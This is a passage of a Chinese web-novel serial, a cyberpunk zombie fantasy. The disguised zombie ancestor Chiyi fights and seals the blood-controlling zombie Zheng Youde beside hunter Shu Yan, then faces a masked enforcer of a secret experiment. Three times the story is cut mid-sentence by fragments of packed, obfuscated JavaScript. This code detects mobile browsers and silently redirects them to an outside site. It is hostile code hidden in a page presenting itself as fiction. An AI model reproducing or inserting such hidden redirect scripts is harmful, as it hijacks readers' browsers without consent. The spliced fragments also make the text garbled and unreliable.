“接住,止血。”舒厌的目光甚至没有离开郑有德,很快,对方断裂的双臂再次被血丝缠绕拉扯,飞速接回躯干,仿佛血肉再生一般,切口瞬间愈合如初。 “有两下子嘛,”郑有德活动手臂,语气阴冷,“你是他们俩的老大吧?嘿,先把你解决掉再说。” 他说话的同时,还用余光扫过蚩蓠,她正“惊慌失措”地躲到江恨白身后,郑有德那意思再明显不过,等他解决完舒厌,下一个就是她。 小童还在无声地流着泪,她死死咬紧早已破裂的下唇,剧痛和丧母的悲伤让她几乎脱力,脑袋耷拉在江恨白肩头,却连呜咽都没有发出一声。 江恨白掏出腰带里的急救药膏和绷带帮小童处理,还给她注射了一针抗菌止血剂,可那断口仿佛被绞肉机搅过,烂得稀碎,依旧血流不止。 蚩蓠垂下的指尖几不可察地一动,几只一直在阴暗角落嗡嗡盘旋的血蚊应召而来,飞到小童断臂的伤口处。 那血蚊一个挨着一个,每一次碰撞都分裂出更多复制品,转眼便密密麻麻地覆盖了整个伤口。 只是这些蚊子并未吸血,反而分泌出一种辅助凝血的唾液,很快便止住了还在滴答的鲜血,其效果远比江恨白带来的止血药物来得迅速。 江恨白本来还在翻找特效药,结果发现小童的血已经止住了,他困惑地看了眼这些不合常理的蚊子。 蚩篱则当做一切与她无关,紧紧盯着舒厌和郑有德的一举一动。 一切发生得太快,蚩蓠的心渐渐沉了下去,刚才危机关头救下小童,舒厌所表现出来的速度和力量,绝非普通人类所能企及。 之前她用义眼扫描过舒厌,这家伙仅仅只是对头颅、脖颈、手指和心脏做了机械化处理,肌肉指标称得上优秀,但也只是人类顶尖水平,比起动辄拥有体能强化的高阶僵尸,差了不是一个数量级。 普通人类并没有进化出异能,就连专门围捕僵尸的猎尸队成员也不例外,他们所仰赖的,只有超越普通人类的体能和顶尖科技。 可是舒厌…… “难道他不是人?” 这个念头在蚩蓠脑中愈发响亮,这是唯一合理的解释。 “找死!”郑有德的咆哮拉回了她的思绪,他与舒厌又过了数招,舒厌似乎已经摸清了他的攻击套路,郑有德几番狠手,都没能讨到便宜。 被一个普通人类戏耍的愤怒让他周身尸气暴涨,不禁狂怒:“你到底是什么人?” “猎尸队舒厌。” “艹!果然是联邦的狗!嗅到一点尸味都要过来舔两口。”郑有德越发暴躁,言语也越来越污秽不堪。 闻言,江恨白眼中燃起怨毒的火焰,低声道:“小童交给你,我要去帮领导教训教训这个畜生。” 蚩蓠摆摆手:“你去吧,小童有我呢。” 心里却嗤笑:去吧去吧,去报你的私仇,去拖你领导的后腿,她可乐得看戏。 毕竟以前都是被围捕的那个,现在变成了猎尸队的一员,可不得好好观察学习敌方的战斗技能。 蚩蓠把小童拖到操作台底下,自己则靠近墙上灯光的控制面板,她假装被郑有德的血藤吓得踉跄后退,后背“不小心”撞到面板上。 “啪嗒!” 室内所有灯光的亮度飙升到极致,惨白的光线变得如同正午烈日,跟之前的亮度完全不是一个程度。 “呃——”郑有德猝不及防,吃痛地叫出声,他裸露的皮肤在强光照射下迅速起泡溃烂,原本狂暴的攻击动作变得迟钝且毫无章法起来。 “好样的!”江恨白惊喜道,朝蚩蓠的方向比了个大拇指。 然而郑有德的适应力惊人,他怒吼着,操控地上蜿蜒的血丝投枪般激射而出。 “噼啪!哗啦——” 天花板上的灯管被接连击碎,刺目的强光一节节熄灭,很快只剩零星的电火花在天花板上闪烁几下,最终彻底归于黑暗。 浓得化不开的黑暗和血腥味再次吞噬了所有人,江恨白脸上的笑容也随着强光的熄灭彻底消失。 “嘿……嘿嘿……”郑有德癫狂的笑声在黑暗中响起,充满了报复的快意,“没用的,就这种小把戏,联邦的走狗也不怎么样嘛。” 一时无声,江恨白的位置变得极度危险,他既不像蚩蓠小童有尸堆遮挡,也不像舒厌那般能紧逼对手,他几乎是惊恐地摸出了一叠符箓,另一只手死死握紧噬尸电鞭。 就在此时,郑有德的声音如同蜈蚣般爬进他的耳朵:“喂,联邦的狗,你那个双胞胎兄弟,后来去找你了吗?” 江恨白本就僵硬的身体几乎无法动弹。 “他逃跑前那几天,可是天天念叨要去找他的好哥哥呢,”郑有德的声音带着恶毒的嘲弄,在黑暗中飘忽不定,“你呢?你把他怎么样了?是不是亲手抓了他?应该能换不少血晶吧?呃,恐怕不止……联邦肯定给你升职加薪了……嘿嘿,吃人血馒头,用亲兄弟的死来换前途,这买卖,划算的咧。” “闭嘴!”江恨白的声音带着难以抑制的颤抖,那些被强行压抑的画面疯狂冲击着他的理智。 “我猜对了?”郑有德的笑声愈发得意,“让我再猜猜,他是不是跪下来求你了?就像你现在这样,在黑暗中,什么都做不了,只能任我宰割!” 心理防线的崩溃,让江恨白气息紊乱,郑有德马上抓住破绽。 几乎是同时,江恨白凭借多年经验,甚至根本没有经过大脑思考,身体已经下意识做出了反应。 他甩出噬尸电鞭,蓝紫色的电光在黑暗中炸响,与郑有德甩过来的血藤猛烈对撞,爆开一团刺目的血光,血藤被电鞭炸成无数碎片,飞向四面八方。 电光石火间,他再次抛出镇尸符箓,却在触及郑有德身体的刹那,被对方狂暴的尸气弹开,燃烧成灰烬。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296581|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >居然完全无效! 一只冰冷腐臭的手扼住了江恨白的喉咙,郑有德几乎是欣赏奖杯般举起江恨白的身体,将他拽离地面:“其实我还挺喜欢那家伙的,自从他逃跑之后,就再没人敢跟我说话了……你不应该!不应该杀了他!” “我没有……”江恨白从喉咙里发出最后的挣扎。 “闭嘴!尝尝我的「血丝异动」吧!” 咒诀念出,江恨白全身爆紫,皮肤下原本青色的血管左右腾挪,上下颠倒,蠕虫般在体内扭曲、移位、收缩变形。 就在江恨白即将被体内暴走的血管撑破的刹那,扼住他喉咙的力量莫名一松。 是蚩蓠。 黑暗不光助长了郑有德的能力,更让借用寒黎躯体的蚩蓠可以最大限度的使用尸毒的能力。 先调亮灯光,再让郑有德“帮忙”打碎灯管,本就是她计划中的一环。 蚩蓠悄无声息地调动了弥漫在空气中的尸毒,麻痹了郑有德的神经,几乎让他无法动弹。 郑有德这招虽然狠毒厉害,却必须接触对方才能完成,与记忆中夜璃戏弄人的方式如出一辙。 他疯狂摇晃脑袋,试图保持清醒,杀欲被终止让他变得更加狂躁:“谁?!谁暗算我?!是你这个贱.人,还是那条紧追不放的死狗?!” “既然你们这么喜欢耍花样,”郑有德颤抖着,眼中血光大盛,“那就一起痛苦吧!” 他放弃寻找濒死的江恨白,全力催动血丝操控的异能,无数血丝自他体内喷涌而出,如盘丝洞般密密麻麻布满了室内每个角落。 这下,他虽然没有直接接触任何一人,却通过血丝同时触达四人。 除舒厌外的三人同时发出痛苦的闷哼,就连蚩蓠也不例外,她感觉全身血液逆流,化作芒刺不断扎向血管和内脏。 他们的眼睛、鼻孔、耳朵都溢出浓稠的鲜血,模样恐怖至极。 死亡,近在咫尺。 千钧一发之际,一片无比纯粹无比刺目的光芒爆发,驱散了所有黑暗。 光芒的源头,是舒厌。 他裸.露在外的皮肤,脸颊、脖颈、手背……都仿佛变成了微型太阳,迸发出比之前所有灯光加起来还要耀眼的极致强光。 “呃啊啊啊!!!!” 郑有德发出的惨叫达到了顶点,他仿佛被投入了熔炉,全身每一个细胞都在尖叫,操控他人血液的异能顷刻中断。 他捂住彻底失明的双眼,痛苦地蜷缩倒地,身体如同被泼了强酸般剧烈腐蚀,冒出阵阵黑烟。 蚩蓠被刺得睁不开眼,在一片炫目的恍惚中,她似乎隐约瞧见舒厌举起了桃木手.枪,将剩下的子弹全部倾泻在郑有德身上。 “砰!砰!砰!” 每一颗子弹都带来一次剧烈的爆.炸和灼烧。 郑有德费劲最后的意志,操控血管腾挪,竟将体内子弹硬生生挤出。 舒厌丢开打空的手.枪,从战术靴的暗鞘抽出桃木剑,一步踏前,直刺对方心脏。 就在木剑即将入体的前一秒,一根手臂粗细的藤条自舒厌身后猛地扎入,穿透他前胸而出,突如其来的凶猛穿刺打断了舒厌临门一脚的攻击,桃木剑猛地掀飞出去。 断剑在空中划过一道弧线,最后,稳稳落在蚩蓠摊开的掌心之中。 14.血丝操控⑤ 桃木剑入手微凉,那触感让蚩蓠心颤。 仅仅时隔一天,她再次触碰到这克尽天下僵尸的诡物,虽然不是封印她的那一把,但禁制带给她的疼痛实在过于深刻,让她第一时间就想扔掉它。 几步之外,郑有德的身体正在上演重生与毁灭的拉锯战,他的血肉在强大的自愈力下迅速再生,却又在舒厌皮肤持续散发的净化强光下再次溃烂,依次反复。 而他对面的舒厌,状况同样骇人,胸口被血藤洞穿的大洞边缘,脏器碎块清晰可见,嘀嘀嗒嗒的模糊血肉从中流出,而造成这一切的血藤,却已经从原路抽回,在地上化为乌有。 即便如此,舒厌只是蹙紧眉头,神色勉强露出几分痛苦。 他仍保持着持剑的姿势,扭头朝蚩蓠喊道:“还愣着干什么!快动手!” 蚩蓠挑眉,这一瞬她脑子里闪过无数念头,第一反应绝不是帮舒厌封印郑有德。 实际上,她非常怀疑作为尸祖的自己,能不能用猎人的圣物封印同为僵尸的郑有德。 一个更诱人的念头占据了上风,舒厌已虚弱至此,眼下或许是杀死并将其转化其为僵尸的最佳时机,一旦成功,屈于始祖之力的绝对压制,她完全可以命令舒厌做任何她想要达成的事情,包括……替她的本体拔出她心口的断剑。 杀与不杀,就在当下! 蚩蓠紧握桃木断剑,指尖传来细微的灼痛感。 为了封印而不是彻底杀死僵尸,猎人大都会将桃木剑身折为两段,平整的断口处木质纹理依旧清晰,其上刻制的密宗真言流淌着暗金微光,似乎迫不及待要从剑身跳跃而起,对她散发着天然的敌意和压制。 “寒黎,你……” 身后传来江恨白艰难而困惑的声音,他挣扎着抬头,视线被血污模糊,只能勉强看到寒黎正一步步靠近僵持的两人,姿态莫测。 他一时恍惚,这位只会对舒厌发嗲的生活秘书,难道想对领导动手? 不可能吧?! 他拼命眨眼,试图用泪水将盈满浊血的眼睛洗干净,可胸腔的剧痛让他几乎窒息,根本无力抬手。 蚩蓠已然站定舒厌身后,在场的五人当中,她是唯一保有近乎百分百完整战力的人。 她缓缓举起手,却不是握着桃木断剑的那只右手。 那纤白的左手露出一把迷你手.枪,枪身比手掌大不了多少,这种枪后坐力小,专配空心爆裂弹,近距离开火时,弹片会在敌人体内扩张碎裂,增大创伤面积,威力不容小觑。 枪口稳稳抵住舒厌的太阳穴,蚩蓠紧贴他后背,温热的呼吸喷在他耳廓,带着甜腻的嗲音在说:“长官,您流了这么多血,怕是活不成了呢,真可怜……您还有什么遗言吗?看在往日的情分上,我都可以帮您实现哦。” “寒黎,你他爹疯了?!”江恨白在后头不顾疼痛地嚷嚷,“郑有德快恢复了,你没看见?!快封印他啊!!!” 一旁的郑有德先是愣住,丑陋的脸上随即露出狂喜和看戏的神情。看样子这俩应该是一对奸.夫.淫.妇,女的不知道受了什么委屈要复仇。 他实在幸运,早上从监控森严的实验室逃出来,路上遇到女儿陈鸿雁小餐一顿,虽然被她逃了,可刚才吃掉外孙女一只胳膊不说,陈鸿雁又送上门来被他吸干了……本来以为要死在猎尸队的狗玩意儿剑下,结果又有蠢女人不顾场合倒戈相助,嘿嘿,简直天助我也! 多亏了这些感情用事的沙比女人! “嘿嘿……小美女,原来你叫寒黎啊,好名字!你们长官这种小白脸,哥哥我见多了,看起来一本正经的,其实私底下都是来者不拒的臭流氓,对这种骑驴找马的斯文败类,你可千万别心慈手软啊,枪口对准些……诶,等等,你枪口怎么对着我了??” 郑有德的脸瞬间阴沉得能掐出泥巴来:“艹!你耍我?!” 蚩蓠左手依旧用枪口对准舒厌,右手却穿过他空荡荡的腹腔,将桃木断剑直直插.入郑有德身体。 与此同时,无数金色符文锁链般浮现,紧紧缠绕着那颗不曾跳动的心脏。 郑有德再发不出半点声音,那张青灰色的皮肤已经如大理石般冻住了,整个身子直挺挺地向后倒去,重重砸在地上,发出“砰”的闷响。 “呼——”江恨白看到这一幕,长长舒了口气,脱力般将头埋在地上。他虽然满心疑惑,但至少最大的危险暂时解除了。 就在蚩蓠想将手抽回时,舒厌的手却突然抬起,用力握住她尚未完全离开他胸腔的手腕,似笑非笑地说:“怎么?还不动手?改变主意了?” 舒厌力道大得惊人,完全看不出这是胸口被轰出一个洞的模样,再次验证了蚩蓠的猜想,她不再后退,反而任由舒厌用这诡异的姿势拽着她的手腕。 “长官,我知道您一直嫌这副铁脑壳型号太旧,想换新的。”她几乎将整个脑袋贴近舒厌肩头,“可我转念一想啊,能控署要是知道是我把您的脑袋给轰了,扣工资也就算了,要是把我给撤职了,岂不是再也不能贴身服务您了。嗯……我也不过只是气您之前逗我而已,不是真的要送子弹给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303523|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您尝啦。” 她伸出手指,近乎挑衅地,轻轻碰了碰舒厌胸前那个还在渗出血液的破口,阴阳怪气地感叹:“材料真好,果然不疼的呢。” “你还有心思揩油?!”江恨白很快从脱险的轻松转向真心实意地担心领导安危,他已经给自己注射了特效药,一瘸一拐地靠近,将止血绷带和高能修复药剂递给蚩蓠,语气焦急万分,“寒黎,快给领导止血。” “不用了。”舒厌看样子也不打算隐瞒了,“拿给那个叫小童的女孩吧。” “啊?为什么?” 没有人理会江恨白,他看向舒厌的目光充满疑虑,可对方显然一点事都没有。他这个领导总是神秘莫测,身上似乎隐藏了很多秘密,也许这也是他的秘密之一吧。 江恨白如此安慰自己,放宽心看待舒厌看似严重的伤势,可一想到寒黎这种没有内涵的漂亮花瓶与领导如此默契,他心中竟生出一丝不悦。 蚩蓠总算把手抽了回来,从闷闷不乐的江恨白手中接过绷带和药剂,朝小童走去。 舒厌这家伙,试探她的手段可真是一套又一套。 蚩蓠不禁摇头,郑有德对四人使用「血丝异动」那会儿,只有舒厌一人没受影响,她就应该对他起疑了。 被血藤贯穿胸口,舒厌看似僵直原地,实际上他行动根本不受影响,他完全有能力不让桃木剑脱离掌心,完全可以在那个瞬间速战速决。 说不定,就连血藤的攻击也是他预料之中的。 更何况,哪有那么凑巧的事情,那桃木断剑偏偏就打飞到她手心了呢。 他不过是想要弄清楚,蚩蓠究竟是否害怕桃木剑,是否有勇气和能力封印郑有德。 这心机厚重的伪人!!! 上次扫描只看出他对几个关键部位进行了机械化替代,可实际上,舒厌几乎全身上下都由仿生材料制成,就连血液也不例外,用料之逼真,就连蚩蓠都没能及时发现。 可是,他可千万别以为她就全落了他的套啊。 蚩蓠微眯着眼,嘴角露出一个不易察觉的微笑。 杀死舒厌的机会还有很多,但这次封印郑有德至少验证了一件极其重要的事情。 作为僵尸的她,是可以使用猎人的圣物封印其他僵尸的,那么下一步,只要她一不小心将郑有德胸前的桃木剑拔出,就可以验证僵尸的身份能否解封其他僵尸。 只要验证成功,蚩蓠就可以大大方方的杀死舒厌,再也无惧封印的诅咒。 她对舒厌的布局,现在才刚刚开始。 15.血丝操控⑥ 救援队的悬浮车很快赶到,降落在鸽笼巷被封锁的空地上,十几名训练有素的队员迅速涌入了这片血腥之地。 救援队长看着小童苍白的脸色和消失的胳膊,很快做出判断:“伤者失血性休克,活动性出血已控制,先建立静脉通路快速补液。” 一旁的江恨白虽然还能保持清醒,但身上多处血管爆裂,必须马上进入修复舱。 随行的几名义体修复师已经围着舒厌开始工作,他们将舒厌平躺在简易操作台上,用便携式无影灯对准他胸前大洞。 主治修复师眉头紧锁,接过助理递来的工具,小心翼翼地清理着舒厌胸腔内的血污和内脏碎片。 “舒队长,”她的声音透过防护面罩显得有些沉闷,“这次损伤比以往任何一次都要严重,主要脏器和多跟肋骨都需要更换,这里条件有限,我们只能先做应急处理,详细检查还得回署里的医务室。” 她打开装备箱,里头装着备用义体和各式各样的替换零件,在一个需要生物信息识别的金属盒子里,放置着一枚鸽子蛋大小的血红色晶体,在无影灯下散发着诡魅的光泽。 “这是最新研制的三代高能血晶,性能比二代提升了两个数量级,可以作为便携式能源条使用,特别适合全身义体化改造的人。我先为您安装好。” 蚩蓠靠在不远处的墙边,用沾了舒厌血液的大拇指轻轻抚过唇角,这味道虽然与前世无异,但细品之下却明显不对劲,联邦居然已经可以将假血仿制到这种程度了。 她嫌弃地呸呸两声,将舌尖残留的假血吐掉。 “果然,这家伙大概除了脑子,没一个地方是真的。”她暗自思忖,目光紧紧盯着修复师的动作。 主刀的女修复师拿出一套精密工具,打开舒厌的机械心脏,替换下一枚几近灰黑的晶状体,再把“鸽子蛋”严丝合缝地放了进去,心脏立马发出“滋滋”的细微声响。 仿佛满血复活一般,舒厌顶着胸前恐怖大洞,轻松自如地在室内活动起来。 “嗯,确实不错,多谢了。” 蚩蓠的目光漫不经心地追随着他走动的身影,想到舒厌最关键的心脏处居然放置着由她尸毒炼制而成的高能血晶,不禁觉得好笑。 猎人追捕僵尸数千年,与之势不两立,到头来却要用她的尸毒供给自身,充当能量来源甚至生存保障,真是虚伪又讽刺。 不过,这家伙要是真的只有脑子是原装货,那可就麻烦了,转化普通人变成僵尸,只需要在对方脖子上轻轻咬上那么一口,再注入蚩蓠本体的血即可。 但对付这种连血液都是假冒的伪人,怕不是只能耗干他的能源,撬开他的铁脑壳,将脑组织浸泡在血中才行了。 “难度加码啊,”蚩蓠挑起一边眉,眼底闪过兴奋的光芒,“这才有意思嘛,到底谁是猫谁是老鼠,现在还未可知呢。” 后援队伍除了替几人做紧急处理,也开始对整个诊所做全息扫描,这样即使之后销毁现场也没关系,只需要在能控署档案室让技术人员通过3D还原,就可以重现现场状况,方便侦查人员反复提取一手案发信息。 至于危害程度最高的郑有德,居然被全程忽视了。 蚩蓠清清嗓子,假装不想干活,磕磕巴巴地问:“长官,这人,哦不,这尸,您……嗯,还是,我?背回去?” 她本以为舒厌会劈头盖脸一顿嘲讽,告诉她猎尸队有专门放置封印僵尸的装置,比如桃木棺材什么的,再用撒了狗血的锁链锁上几圈,让救援队抬走就好。 结果,“不然呢,不是你背,难道我背?”舒厌不耐烦地说,“封印容器在上一次任务中全部毁损了。” “啊?”蚩蓠又惊又喜,惊的是什么任务能让所有封印容器毁损,喜的是她的计划离成功又进了一步。 待会在路上,她只需要装作一不小心弄出桃木剑,让郑有德苏醒,再猝不及防补刀,就能验证她的猜想。 “唉,好吧,长官。”蚩蓠一幅不情不愿的样子,“既不能让重伤的江组长帮忙,也不能让猎尸队以外的人处理僵尸,更不能让长官您累着,那当然只能让柔弱无力的我来背了。” “算你有点自觉。”舒厌从喉咙里发出一声冷哼。 等蚩蓠将膨大化的郑有德扛上悬浮车时,她的确累得半死,就差没像哈巴狗一样“呼哧呼哧”地吐气了。 这花瓶寒黎,肌肉肯定全是科技产品,体能硬是一点没跟上,后头有闲空,她还得多练练,再针对性的用义体强化部分器官,否则光靠尸毒和目前少数可调用的异能,远远不是舒厌的对手。 回程的悬浮车比舒厌自驾的那台宽敞得多,可以容纳至少十人,还配备了完善的医疗设施,光肉眼可见的就有两台修复舱和三台睡眠舱。 蚩蓠找到一个相当刁钻的角度,几乎是脱力般将郑有德甩在车尾,自己则佯装摔倒,就要往前扑。 没想到,舒厌恰好站在身后,一把拎住她的衣领:“寒黎,你是吃了软脚草吗?” “呃……”蚩蓠回头看那魔鬼,没来由的想起一段往事。 那时候的舒厌不过十一二岁,蚩蓠死后被炼制成僵尸,以尸祖的身份在世间游荡,也只有两三年。 有一天,她正在勾栏小苑欣赏男宠舞剑,突然闯进来十几个全副武装的猎人,说她骄奢淫逸,说她不守妇道,说她丧尽天良,说她是世间所不允许的存在,说要毁了她的身,灭了她的魂。 蚩蓠慵懒地倚在软榻上,轻轻抿着男宠递来的葡萄,那葡萄可真酸呐,这么多年过去了,她依旧记得那涩涩的滋味。 前来讨伐的猎人搅了她的兴,她眯眼看着这些不速之客:“我死的时候就已经二十岁,早成年了,既无婚嫁,也无良人,找几个小俊郎耍剑,你们确定要管?” 那些人义正辞严,满口仁义道德,正邪两立,仿佛要替天行道,男宠被吓得四散而逃,蚩蓠彻底没了兴致,便随意捡了几粒案几上的葡萄,一人一颗,让那帮“正义之士”永远闭上了嘴。 十几个猎人横尸勾栏,鸨儿见状想找她赔钱,理论三番,争执不下,蚩蓠却瞧见一个十岁出头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319579|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的俊俏少年缩在墙角,以为是鸨儿的小跟班,当即谈妥了价钱。 “你说的赔偿价款我同意,但是这个人,我要了。”蚩蓠指着墙角的舒厌,鸨儿却摸不着头脑。 年幼的舒厌跌跌撞撞地走来,看到满地尸体,一个腿软摔扑在地上,他扬起那张哭得满脸通红的小脸,却只能发出“你、你……”不成句子的抽泣。 蚩蓠越发欢喜了,这小人儿长得可真标志,她打趣道:“小俊郎,你吃了软脚草吗?” “什、什么?” “将来长大了,要是不想努力,就来当我的男宠呀。” “我不是!我才不要!”舒厌气得大喊大叫。 记忆中那张稚嫩的小脸和眼前这张英挺冷峻的轮廓重合在一起,蚩蓠不由得心神恍惚。 从初识舒厌,到被他封印,期间发生了太多事情,即便时光倒流,那种种恩怨纠葛,怕也难逃宿命。 她和他,是注定要成为宿敌的人。 舒厌松开她的衣领,没好气地说:“发什么呆?给我好好看着郑有德。” “遵命,长官。”蚩蓠敬礼,又换回了那副唯命是从的狗腿样。 她坐回郑有德身边,寻思还有什么方法可以偷偷将桃木剑拔出来,剑身上的密宗真言仿佛还在跳跃,微光萦绕,牵引着蚩蓠的视线。 突然,仿佛蜡烛被吹熄般,微光消失了,真言归于死寂,桃木剑“滋啦”一声,倏忽碳化,然后沿着木质纹路,裂开无数道瘢痕。 “长官!”蚩蓠惊呼,“您的桃木剑……” 她话音未落,喉头已经被郑有德死死扼住,他胸腔深处的那柄剑已然碎成齑粉,彻底消失不见。 郑有德一个翻身,将蚩篱牢牢禁锢在怀中:“小美人儿,敢耍我?那就陪老子走一趟吧。” 车里其他人才刚刚反应过来怎么回事,就见郑有德腋下挟着寒黎,破窗飞出去了。 救援队瞬间进入战斗准备状态,但被舒厌一个手势制止,他探身窗外,居高临下地看着远去的两人。 窗户爆破,惊醒了修复舱里休息的江恨白,他第一次见到被封印的高阶僵尸自行破封,惊得拔掉一堆插管,直接从舱里跳了起来,挤到舒厌身边问:“领导,不追吗?寒黎不会有事吧?” 舒厌露出恶劣的笑容,无所谓地说:“不用管,她会回来的。” 空中,郑有德架起血色虹桥疾驰,他便跑还不忘恐吓蚩蓠:“待会儿找个安全的地儿,让我饱餐一顿先。” “哥,”蚩蓠差点被他腋下怪味熏死,“我味道本来就不好,现在更臭了,肯定不好吃的。” “哈哈哈,小美人,你挺有意思的嘛,刚才在诊所那一刀,你是故意的吧。”郑有德指着自己手腕,又朝蚩蓠脖颈比了个“咔嚓”的姿势。 “哥,你说什么呢?”蚩蓠无辜地眨眨眼。 “你以为我是傻子,发现不了?!” “你确实没发现呀,”蚩蓠调皮地笑道,“有个戴白面具的男人跟在我们身后很久了,你不知道吗?” 16.血丝操控⑦ “什么?!”郑有德猛地回头,从现身诊所那一刻起到现在,蚩蓠还是第一次看到他流露出如此惊恐的表情。 一个身披黑色斗篷,面覆纯白面具的人踩在飞行器上,悄无声息地逼近。他手持镰刀,整个人散发出冰冷死寂的气息,那架势,简直与收割生命的死神无异。 “艹!”郑有德惊骇之下,毫不犹豫地将身前的蚩蓠拽向自己,他尖锐的獠牙抵住她喉管,哑声道,“别过来!这女人是联邦的人,你再靠近半步,我咬死她!” 白面具已行至眼前,他举起镰刀,手起刀落,根本没把郑有德的威胁当回事。 血桥轰塌,郑有德狼狈地拖着蚩蓠堪堪躲过这致命一击,他周身血丝疯狂涌动,凝聚成一柄巨大无比的血色重剑,剑刃足有那白面具等身高,直直朝他穿刺过去。 “没用的。”在慌不择路的郑有德忙着将巨剑汇聚成形时,蚩蓠从他怀中欠身脱逃,轻盈地骑坐在一群迷你蝙蝠组成的漆黑鸟背上,悬停在不远处。 那白面具人身法诡谲莫测,仿佛可以在空中随意跃迁,巨剑势不可挡的攻击竟然连他的袍角都挨不着。 “呃啊!”郑有德发出一声凄厉至极的怪叫。 白面具人鬼魅般现身在他侧后方,镰刀刀刃深深嵌入他的背脊,从脖颈至腰际,一道接近半米长的可怕豁口在他膨大后的背部裂开。 在血液操控的能力加持下,那伤口没有流出任何一滴血,但是镰刀上沾染的莹蓝色液体却沿着豁口渗透进他的身体里。 郑有德周身尸气先是暴涨,但紧接着,又如潮水般疾退消散。 “你们是怎么发现我的?”他几乎是绝望地看着自己皮肤上骇人的青灰色褪去,逐渐露出底下属于正常人类才有的肤色,“我这是……你那刀上涂了什么鬼东西?你们到底还想对我做什么?!” 那柄血色巨剑再次溃散成无数血丝,但是这一次,它们没能重新凝聚,反而如同失去能量支撑般,迅速变得黯淡透明,最终彻底消散在空中。 随着郑有德僵尸形态的逆转,他那强大的异能也仿佛被彻底净化,荡然无存。 那些莹蓝色的液体……竟然让僵尸变回人类了吗? 蚩蓠驱使着蝙蝠坐骑飞远了些,没了血桥和血剑的遮蔽,她完全暴露在白面具的视线下。 果然,在将恢复人形的郑有德像货物一样扔进飞行器底舱后,白面具锁定了她。 “嘻嘻,多谢救命之恩,”蚩蓠朝逐渐逼近的白面具招了招手,脸上堆起寒黎式招牌假笑,“自我介绍一下,我是能源控制署外勤部的寒黎,请问恩人在哪儿高就呀?” 见对方一言不发,只是再次举起了那把危险的镰刀,她驾驶蝙蝠一个灵巧的急转躲开攻击,语气依旧娇嗲,一时戏精上身:“嗯?你不是来救我的吗?哎呀呀,人家心都要碎了~你这样粗暴,要是伤着了我,联邦的人可是会找你麻烦的哟~” 白面具油盐不进,攻击愈发凌厉。 蚩蓠本来还想陪他好好玩玩,可这家伙无聊的很,一句话不答,她也就渐渐失去耐心,觉得没意思起来。 “不陪我玩,那就换个别的人玩好了。”蚩蓠心道,她打了个响指,庞大的蝙蝠群分解重组,化作一道狂暴的黑色龙卷风,将白面具暂时困于其中。 镰刀狂舞,很快清开一片区域。然而当白面具冲破封锁后,眼前的妖艳女人已经消失不见了。 取而代之的,是一个穿着与郑有德同款病号服的男人,他的面容与江恨白一模一样。 “是你……我见过你,你们到底对我们做了什么?!我为什么变成了现在这副样子?!” “江恨白”双眼赤红,皮肤青灰,指甲尖锐漆黑,呈现出与郑有德吞噬陈鸿雁后相似的狂暴尸化状态。他死死盯着白面具,声音因愤怒而颤抖。 “你们害我人不人鬼不鬼!以为把我关起来就万事大吉了吗?我能逃走一次,就能逃走第二次!” 白面具不动声色,但他微微偏头的细小习惯,暴露了内心的困惑和惊疑。眼前这个实验体,无论是神态、语气,还是对遭遇的控诉,都与他认知中的某个对象高度吻合。 蚩蓠心中冷笑。 从之前郑有德对江恨白的诡异态度、陈鸿雁父女体内那熟悉的夜璃血气,再到眼前这能将僵尸逆转回人类的莹蓝色物质……她已大致拼凑出真相: 不夜穹隆内存在一个神秘组织,他们窃取夜璃之血,混合高阶僵尸基因,在普通民众身上进行惨无人道的异能萃取和固化实验。 像郑有德,还有江恨白那个失踪的双胞胎兄弟,恐怕都是罕见的适配体,他们逃出实验室后,第一时间去找寻自己的家人,企图啃噬血亲的骨肉,滋养贪婪的自我,这才引发了鸽笼巷的悲剧。 陈鸿雁运气太差,恰好遇上郑有德,被他咬伤后逃跑,也许她正要去诊所献血,却在等候室突发异变,暴走并吸干了一同等待的其他献血者。 被亲生父亲啃咬转化为新生僵尸,还杀死了这么多无辜的人,陈鸿雁一时难以接受,她起初还无法很好的掌控血丝操控的异能,那些血丝于是以诊所为中心,以鸽笼巷为据点,化作她无法自我和解的心魔,向外攀爬,F区接触到这些血的百姓发生变异,却又因血液没有真正污染他们体内,变成了半人半尸的怪物。 也就是说,成功转化为异能僵尸的郑有德,他的血甚至可以“感染”其他普通民众,让他们成为拥有同样异能的僵尸。 无法想象,要是异能可以以血液的方式萃取固化,其背后势力的野心该有多大。 眼前的白面具恐怕正是这个神秘组织的打手,他们不可能放走辛苦培育的小白鼠,至于江恨白的兄弟,蚩蓠只不过借用了青魇分身化形的异能,小小变装后,用来试探对方。 她在印证自己的猜想,这个组织一定会不惜一切代价,抓回同样逃跑的其他人。 白面具下的声音闷闷的:“不管逃走 